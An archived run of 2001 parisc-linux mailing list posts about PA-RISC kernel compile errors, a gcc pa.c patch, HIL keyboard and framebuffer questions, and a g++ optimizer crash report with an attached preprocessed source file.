X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Current Debian still broken?
Date: Sat, 10 Nov 2001 23:37:29 +0100 (CET)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0111102336070.11348-100000@www2.scram.de>
References: <Pine.NEB.4.33.0111102323090.11348-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620734 29726 80.91.229.3 (22 Nov 2014 01:45:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:34 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 10 15:37:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 11CC8482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 Nov 2001 15:37:33 -0700 (MST)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id fAAMbU626691
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 Nov 2001 23:37:30 +0100 (CET)
In-Reply-To: <Pine.NEB.4.33.0111102323090.11348-100000@www2.scram.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12987

Hi,

> when trying to compile the new 2.2.14 based parisc tree, i get the
> following error:

To follow up myself:

Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  gcc            3.0.2-10       The GNU C compiler.
ii  binutils       2.11.92.0.10-1 The GNU assembler, linker and binary

Cheers,
Jochen




From - Thu Nov 08 21:20:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Current Debian still broken?
Date: Sat, 10 Nov 2001 17:56:08 -0500 (EST)
Lines: 41
Approved: news@gmane.org
Message-ID: <200111102256.fAAMu8HB001322@hiauly1.hia.nrc.ca>
References: <Pine.NEB.4.33.0111102323090.11348-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620734 29728 80.91.229.3 (22 Nov 2014 01:45:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jochen@scram.de (Jochen Friedrich)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 10 15:56:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6EEF1482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 Nov 2001 15:56:10 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id fAAMu87c001323;
	Sat, 10 Nov 2001 17:56:08 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id fAAMu8HB001322;
	Sat, 10 Nov 2001 17:56:08 -0500 (EST)
In-Reply-To: <Pine.NEB.4.33.0111102323090.11348-100000@www2.scram.de> from "Jochen Friedrich" at Nov 10, 2001 11:28:48 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12988

> when trying to compile the new 2.2.14 based parisc tree, i get the
> following error:
> 
> gcc -D__KERNEL__ -I/usr/src/linux/include -Wall -Wstrict-prototypes
> -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing -fno-common
> -D__linux__ -pipe -fno-strength-reduce -mno-space-regs
> -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1
> -mschedule=7100    -c -o sd.o sd.c
> {standard input}: Assembler messages:
> {standard input}:583: Error: Invalid operands
> {standard input}:607: Error: Invalid operands
> make[3]: *** [sd.o] Error 1

Don't know if this is the fix but it fixed an invalid operand error in
the gcc mainline code:

2001-10-31  John David Anglin  <dave@hiauly1.hia.nrc.ca>

	* pa.c (output_move_double): Fix typo in double load.

--- pa.c.save	Wed Oct 31 11:24:25 2001
+++ pa.c	Wed Oct 31 12:47:53 2001
@@ -1979,7 +1979,7 @@
 		 save a register file writeback)  */
 	      if (GET_CODE (addr) == POST_INC)
 		return "{ldws|ldw},ma 8(%1),%0\n\tldw -4(%1),%R0";
-	      return "{ldws|ldw},ma -8(%1),%0\n\tldw 12(%1),%R0}";
+	      return "{ldws|ldw},ma -8(%1),%0\n\tldw 12(%1),%R0";
 	    }
 	  else
 	    {

If that isn't it, dump the assembler output with '-S' and look at the
lines causing the error.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:20:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Current Debian still broken?
Date: Sun, 11 Nov 2001 00:16:32 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20011111001632.A9423@solo.franken.de>
References: <Pine.NEB.4.33.0111102323090.11348-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620735 29734 80.91.229.3 (22 Nov 2014 01:45:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 10 16:16:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD951CA3D.dip.t-dialin.net [217.81.202.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59AD0482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 Nov 2001 16:16:52 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id fAANGW209477;
	Sun, 11 Nov 2001 00:16:32 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.NEB.4.33.0111102323090.11348-100000@www2.scram.de>; from jochen@scram.de on Sat, Nov 10, 2001 at 11:28:48PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12989

On Sat, Nov 10, 2001 at 11:28:48PM +0100, Jochen Friedrich wrote:
> when trying to compile the new 2.2.14 based parisc tree, i get the
> following error:

top of CVS (2.4.14) is currently broken. It will probably take a few days
to shake out the bugs (merge was on friday).

If you have a PA2.0 CPU, turn on CONFIG_PA20 that should fix the compile
error.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:20:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Current Debian still broken?
Date: Sun, 11 Nov 2001 00:19:10 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20011110231947.AA396482C@dsl2.external.hp.com>
References: <200111102256.fAAMu8HB001322@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620735 29737 80.91.229.3 (22 Nov 2014 01:45:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	jochen@scram.de (Jochen Friedrich)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 10 16:19:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id AA396482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 Nov 2001 16:19:47 -0700 (MST)
Original-Received: (qmail 17619 invoked by uid 0); 10 Nov 2001 23:19:45 -0000
Original-Received: from pd9040350.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.80)
  by mail.gmx.net (mp004-rz3) with SMTP; 10 Nov 2001 23:19:45 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <200111102256.fAAMu8HB001322@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12990

On Saturday 10 November 2001 23:56, John David Anglin wrote:
> > when trying to compile the new 2.2.14 based parisc tree, i get the
> > following error:
> >
> > gcc -D__KERNEL__ -I/usr/src/linux/include -Wall -Wstrict-prototypes
> > -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing -fno-common
> > -D__linux__ -pipe -fno-strength-reduce -mno-space-regs
> > -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1
> > -mschedule=7100    -c -o sd.o sd.c
> > {standard input}: Assembler messages:
> > {standard input}:583: Error: Invalid operands
> > {standard input}:607: Error: Invalid operands
> > make[3]: *** [sd.o] Error 1

This is a kernel problem, where we use the "std" assembler command to store a 
u64 value to user-space:
See at include/asm-parisc/uaccess.h:  macro __put_user:
  case 8: __put_kernel_asm("std",x,ptr); break;       \

Sadly "std" is only available on 64 bit PA CPUs and gcc knows that and give you
the above error in 32bit kernel builds.

Greetings,
Helge.



From - Thu Nov 08 21:20:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Keyboard problems and StiFB
Date: Sun, 11 Nov 2001 11:57:59 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <3BEE59B7.4080108@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620735 29739 80.91.229.3 (22 Nov 2014 01:45:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 11 03:57:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx04.nexgo.de (mx04.nexgo.de [151.189.8.80])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16608482C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Nov 2001 03:57:18 -0700 (MST)
Original-Received: from hrzpub.tu-darmstadt.de (dialin-145-254-200-200.arcor-ip.net [145.254.200.200])
	by mx04.nexgo.de (Postfix) with ESMTP id C790C37B8A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Nov 2001 11:57:14 +0100 (CET)
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.5) Gecko/20011011
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12991

Hi there!

At first I want to say thanks to all the people, who made the great 
improvements on the kernel!! Now even my 715/100 with its second 
graphics card is running a stifb. ;-) And X-Server is running with 
1280x1024 with 24bpp... (That's cool...)

But now I have some trouble with my keyboard. I use a ps/2-keyboard and 
-mouse with HIL-Adaptorbox. If I do a cold boot the kernel finds a 
HIL-Keyboard, loads a keymap and  at the login the keyboard has a weird 
behaviour. ( Pressing enter e.g. gets me to the MagicKey-Menu). When 
rebooting the machine the kernel now didn't found any HIL-Keyboard, says 
s.th. about "device not claimed" , but the keyboard now works. The 
PS/2-Mouse works always.
Any Solution ?
And there's another question: How do I change between the first stifb 
and the second stifb? Console always opens on my second graphics card 
(HCRX24), but due to the resolution of 1280x1024 everything is quite 
small, so I would like use the builtin graphics.

Thanks in advance,

        Rdiger




From - Thu Nov 08 21:20:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Keyboard problems and StiFB
Date: Sun, 11 Nov 2001 14:23:17 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20011111142317.A2876@solo.franken.de>
References: <3BEE59B7.4080108@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620735 29744 80.91.229.3 (22 Nov 2014 01:45:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 11 06:24:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD951CA3D.dip.t-dialin.net [217.81.202.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id 769C7482C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Nov 2001 06:24:50 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id fABDNHb04403;
	Sun, 11 Nov 2001 14:23:17 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BEE59B7.4080108@hrzpub.tu-darmstadt.de>; from rscholz@hrzpub.tu-darmstadt.de on Sun, Nov 11, 2001 at 11:57:59AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12992

On Sun, Nov 11, 2001 at 11:57:59AM +0100, Rdiger Scholz wrote:
> But now I have some trouble with my keyboard. I use a ps/2-keyboard and 
> -mouse with HIL-Adaptorbox. If I do a cold boot the kernel finds a 
> HIL-Keyboard, loads a keymap and  at the login the keyboard has a weird 

hmm, that sounds wrong. If you have only attached a PS/2 keyboard, it
shouldn't find a HIL keyboard.

> Any Solution ?

posting your boot.log might help a little bit.

> And there's another question: How do I change between the first stifb 
> and the second stifb? Console always opens on my second graphics card 
> (HCRX24), but due to the resolution of 1280x1024 everything is quite 
> small, so I would like use the builtin graphics.

video=map:x1:x2:x3 ...

x1 selects framebuffer on virtual console 1
x2 selects framebuffer on virtual console 2
x3 selects framebuffer on virtual console 3
...

Look for the BootPrompt-HowTo for a longer description.

I don't have my B132 setup for testing this, but it should work (final
last word :-)).

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:20:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa gcc bug?
Date: Sun, 11 Nov 2001 16:07:12 -0800
Lines: 511
Approved: news@gmane.org
Message-ID: <20011111160712.D391@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="6sX45UoQRIJXqkqR"
X-Trace: ger.gmane.org 1416620736 29746 80.91.229.3 (22 Nov 2014 01:45:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:36 +0000 (UTC)
Cc: debian-gcc@lists.debian.org
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 11 17:07:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0BEB3482C
	for <parisc-linux@parisc-linux.org>; Sun, 11 Nov 2001 17:07:28 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id yvhviaaa for parisc-linux@parisc-linux.org; Sun, 11 Nov 2001 17:02:23 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 1634d6-0004Ln-00; Sun, 11 Nov 2001 16:07:12 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
X-VSMLoop: pangeatech.com
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12993

--6sX45UoQRIJXqkqR
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Looks like there's a strength-reduce optimization bug in g++-3.0.2 on
hppa....

Trying to compile qt-x11 gives a segmentation fault when compiling
src/kernel/qurl.cpp. (willy and lamont also saw this I believe...). Turning
off strength-reduction (-fno-strength-reduce) allows the file to
compile to completion.

It's dying inside a loop_iterations call, but I don't know enough to
say why...

Can someone more knowledgable please take a look?

Preprocessed source attached. Compilation flags:

g++ -D_REENTRANT -DQT_THREAD_SUPPORT -c -I/usr/X11R6/include
-I/usr/src/new/qt-x11-2.3.2/include -I/usr/X11R6/include -pipe
-fno-exceptions -O2 -Wall -Wpointer-arith -Wwrite-strings
-Wmissing-prototypes -fPIC -DQT_BUILTIN_GIF_READER=1 -DQT_XFT   
-o kernel/qurl.o kernel/qurl.cpp

This is using the latest binutils/gcc that are in the Debian archive.
(binutils 20011021 and gcc 3.0.2 w/ Alan's patches)

sh-2.05# gcc -v
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0.2/specs
Configured with: ../src/configure -v
--enable-languages=c,c++,f77,proto,objc --prefix=/usr
--infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-as
--with-gnu-ld --with-system-zlib --enable-long-long --enable-nls
--without-included-gettext --disable-checking --enable-threads=posix
--with-cpp-install-dir=bin hppa-linux
Thread model: posix
gcc version 3.0.2 (Debian)

sh-2.05# ld -v
GNU ld version 2.11.92.0.10 20011021 Debian/GNU Linux

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



--6sX45UoQRIJXqkqR
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="qurl.ii.gz"
Content-Transfer-Encoding: base64

H4sICAIC7zsCA3F1cmwuaWkA3b19exO3tjj6vz/FQO8OdjAQOyGEmKSb8tJyLlBKYO/nPLTX
d+IZJ9OMZ8zMOIHTpp/9aun9fTR26L7nx9PGtrTetCQtLUlL0nfR7kF0+yKtijR/8HlV5fdn
y+Xt3nfRSE09vx2NUOreWE8moA9WdfWgrmYPivTqwefm3pfR6N74/u798YOsmOWrJH3wuW6q
rDjjhHa7IQWzma3FZ9adUVxV8VdZLx1wgpmcrcPlrDOb+jyu0qQjG44UXpq8PI15W9p9tN8N
q9d8XaZJOo9WRZ2dFWkSzZAI0Qr+TszM+rysmmiFPyzZq6ywJedlcRat4K/IxGy2lxofmqqx
n5VF3XAMkkf/kazTssyjl09fn7yIjqKdiZz64f1HSLyFUlEtjPY6qicr8qxII1Su6PP7clUk
/SgpV6d5GiXRoPdHL0L/qrRZVQVKOI527u9E3wN0P7m7c//hIDokP+7Bj0nvGreER2tWkVxB
r95+OJg4Ku+jmknqDKWN9p01+lHLhvKipN2xBQPyPtLMnlW4X6Y+8X6ZWgXESB4RCZouJMZy
iklw5GzcFDHS/p6rpRIsyCdNLI/rOvrledzEJ02Vxgvckh52rcXQDj1PY9Sc0pp16Ye7XdHC
7XpZzDNu1h/udZZvjDVx0NFQYazHDzvqL2L/ZGvw+V9pVWdl0UediwPgfv/55Gv9qpiXfdwQ
tq/KKjnJ/icdktzt0+zsRZFkcRENoDofPny8rjiXZZZEn5+np6uzviLbMLp//z4yEhh0Oo0b
NByerpp0Oo36/XlZLeIm6i/RENnMh9FoGI0HAwQ86emk/x1XBRpHvw3xl6hV5zdEmvxTGSTf
TC9X31At85vTynfR/mh/3bZFWnIznZ2ns4vpskTU06pPkmdDTT5o5wNeDWmxWkS/NG/qsw/I
yEV/oO+4jaKEIfpOGxX9hVsB+h5dT4RFx5roby/qs+l5XCR5Wg36nKDKXO59Enz0+RWCiXMg
/RNJ6iv5WFytRZ6slktkXuqfT+syT5uUSlrTYh+REZ0UVENlKGrNlae/q9KWeTJfFbOhQNf/
ydCowgA6ksu4DrtgAgtU+PgsJYYp1KfnzuYY9II879UMDX8nOJm6KfRXf4Aawwy5Mg3S5WgS
Xfe4QFU6F7l377I8rPckZbnU3bl17x6GY1Dg+xFM5Od0EF2442NptP3xKaQiyedVlhbIcyDJ
P6zm8xR5f0vkgmWzQ9ICaGkxnWmCmjLyuggAK3P0B1e9gMKFgS9HO5MoTwv4uOZwpC4gW1Qb
LiKCJCnX5IOKCiPQsiqbdNakyaGSAz2Td089AzlO/5MaGaQ90J/RVswALrOqWcV59JfEVcaM
tsplWsVNWR3ZiIjaQ9pEHk8/Asqo1ApxaribeHZOdLRaIl3GqJ1uN+dZLRCEjhAc4cYZ1OfJ
vWOsPrl9FKgR1Q5gszWBahzAUAty88zqF59XwmYrhcZJVE8YGJkXoExFSq9YFQiIeZZr9j8h
NYj4Dqlw/xMZymdadVWfA5BzYA3MgBdV0E7bgHWSxxVdo8biB+2p/SbaJtbmh7ycXVirRzEq
ddqcSPAKoSVukgjjqC+StwdL3sJ4oRCV9/EV+OBhpUJVHIaBUeD3PIPJnQ0SZaRfpFpnDYph
op9NnBW1HVvGkLSCpjR9uSExYqd1Gleo44XRItkxI4UltbV4pIwXX5YxlFAukosHQtVsGbMN
cu2hnoPVq9kmaj5gYCPa12ocE88uUQM9pOY7bpCpxmjgHGDZqJyUtNr4EjzA9NjcnIhPW8rh
oV0ZaCQhKp5HfZpzfMQMzEAaHyQJKAFh/0kCXmHAA0BPnv5vcYv3CcP9Rqf7u91WvvAg2KSL
ZY4U9IQMe+CRHbMhkHQIMcLxkZKNiSAT8+Hgczt61ZAxYaLkkconEM/gux0MPqN/xfkqBb/P
